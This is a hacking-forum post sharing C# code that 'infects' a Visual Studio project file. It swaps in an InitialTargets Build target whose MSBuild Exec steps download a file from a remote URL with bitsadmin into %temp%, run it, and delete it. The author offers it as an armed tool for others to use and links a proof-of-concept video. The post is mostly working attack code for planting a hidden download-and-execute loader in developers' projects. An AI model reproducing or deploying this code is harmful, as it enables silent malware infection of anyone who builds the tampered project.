

Forum:[Hack Forums](#)

Thread: [SLN EXEC](#)

JoshuaSmith - August 24, 2020, 9:12 am

What i used as a reference <https://hackforums.net/showthread.php?tid=5491771>

so i got bored one day and armed this so people can use it easier.
code isn't clean nor nice looking so don't flame me ahahah

```
Code    private void CreateInfectedSLN(string Path, string Job, string rURL, string fName)
    {
        string vec0 = "<Project ToolsVersion=\"15.0\"
xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">";
        string pCall = "<Project ToolsVersion=\"14.0\" InitialTargets=\"Build\"
xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">";
        string vec1 = "<Import Project=\"$(MSBuildToolsPath)\Microsoft.CSharp.targets\" />";
        string payload = "<Import
Project=\"$(MSBuildToolsPath)\Microsoft.CSharp.targets\"/>^<Target Name=\"Build\">-<Exec
Command=\"bitsadmin.exe /transfer " + Job + " " + rURL + " %temp%\\" + fName + "\">+<Output
TaskParameter=\"ExitCode\" PropertyName=\"ErrorCode\"/>-</Exec>-<Exec
Command=\"%temp%\\" + fName + "\">+<Output TaskParameter=\"ExitCode\"
PropertyName=\"ErrorCode\"/>-</Exec>-<Exec Command=\"del %temp%\\" + fName + "\"
>+<Output TaskParameter=\"ExitCode\" PropertyName=\"ErrorCode\"/>-</Exec>-<Message
Importance=\"high\" Text=\"$(ErrorCode)\"/>-</Target> ";
        string STR = File.ReadAllText(Path);

        if (File.Exists(Path + ".bk"))
        {
            File.Delete(Path);
            File.Copy(Path + ".bk", Path);
            File.Delete(Path + ".bk");
            File.Copy(Path, Path + ".bk");

            payload = payload.Replace("^", "\n ");
            payload = payload.Replace("-", "\n ");
            payload = payload.Replace("+", "\n ");
            STR = STR.Replace(vec0, pCall);
            STR = STR.Replace(vec1, payload);
            File.WriteAllText(Path, STR);

            STR = "";
        }
        else
        {
            File.Copy(Path, Path + ".bk");
```

```
payload = payload.Replace("^", "\n ");  
payload = payload.Replace("-", "\n ");  
payload = payload.Replace("+", "\n ");  
STR = STR.Replace(vec0, pCall);  
STR = STR.Replace(vec1, payload);  
File.WriteAllText(Path, STR);
```

```
STR = "";
```

```
}
```

```
}
```

POC/Video:

<https://youtu.be/O2hn-TG1SGc>

-Josh